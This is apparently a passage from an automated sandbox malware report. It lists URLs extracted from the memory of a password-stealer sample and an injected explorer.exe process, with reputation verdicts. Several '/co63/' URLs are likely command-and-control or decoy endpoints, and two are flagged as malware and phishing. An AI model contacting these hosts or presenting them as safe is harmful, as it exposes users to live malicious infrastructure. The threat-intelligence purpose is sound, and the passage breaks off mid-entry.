http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.430926613.0000000002CB5000.00000004.00000800.00020000.00000000.sdmp, hkkRsa.exe, 00000009.00000002.449838266.0000000002FB5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.mazinhoccb.com	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 0000000F.00000000.451928214.000000000091F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.f1-austin-tickets.comReferer:	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.398342627.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.398248570.0000000005757000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comcoma	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395278067.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395023468.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395121921.0000000005757000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.pym479.com/co63/www.creativebrea.com	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.cucinainvenice.com	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://components.groove.net/Groove/Components/Root.osd?Package=net.groove.Groove.Tools.System.Groov	explorer.exe, 0000000F.00000000.478178422.00007FFA13109000.00000002.00000001.01000000.0000000B.sdmp	false	URL Reputation: safe	unknown
http://www.dlafluid.comReferer:	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.vestostore.com/co63/www.saleschildcarriers.com	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/A	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391472420.0000000005754000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391405610.0000000005755000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391725464.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391280868.0000000005751000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391672235.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391554635.0000000005756000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mazinhoccb.comReferer:	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://en.w	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.387986518.0000000005745000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/=	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392066294.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391405610.0000000005755000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391725464.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391867029.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391782567.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392020681.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391280868.0000000005751000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392117186.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391672235.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391554635.0000000005756000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.saleschildcarriers.com/co63/www.ballthingsez.com	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.coml	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn-	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.390314780.0000000005776000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.390372892.0000000005776000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.390236589.0000000005776000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.390359851.0000000005776000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/jp/$	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392066294.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392167050.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391725464.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391867029.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392276202.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392786588.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391782567.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392020681.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392926230.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392117186.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391672235.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392383105.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391554635.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392213201.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392322140.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392547177.0000000005757000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/s	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391472420.0000000005754000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391554635.0000000005756000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.dulichphucbinh.com/co63/www.f1-austin-tickets.com	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.freepad168.com	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.inf9obase.com	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mattewigs.com/co63/www.dulichphucbinh.com	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.myccsmartmove.com/co63/www.takealicense.com	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.dlafluid.com	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.naspewt.xyz/co63/www.mattewigs.com	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://www.cucinainvenice.comReferer:	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sajatypeworks.com-	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.387837697.000000000575B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.fontbureau.com/designersG	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394212105.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/jp/H	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391725464.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391782567.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391672235.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391554635.0000000005756000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.saleschildcarriers.com	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://components.groove.net/Groove/Components/SystemComponents/SystemComponents.osd?Package=net.gro	explorer.exe, 0000000F.00000000.478178422.00007FFA13109000.00000002.00000001.01000000.0000000B.sdmp	false	URL Reputation: safe	unknown
http://www.vestostore.com	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pym479.comReferer:	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.goodfont.co.kr	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.inf9obase.com/co63/www.cucinainvenice.com	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/jp/=	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391472420.0000000005754000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.cucinainvenice.com/co63/	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comdia	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395278067.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395526111.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394715282.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396031854.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395847311.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395411777.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395360507.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396121393.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395641687.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394343348.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394558568.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394288066.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395903699.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395479456.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395807046.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394466935.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396640059.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394791085.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394930632.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395753968.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394403535.0000000005757000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.399392378.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.399863925.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.402229452.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.403042832.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.400763636.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.403222822.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.401400253.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.401767137.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.399024629.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.398668360.000000000575A000.00000004.00000020.00020000.00000000.sdmp, 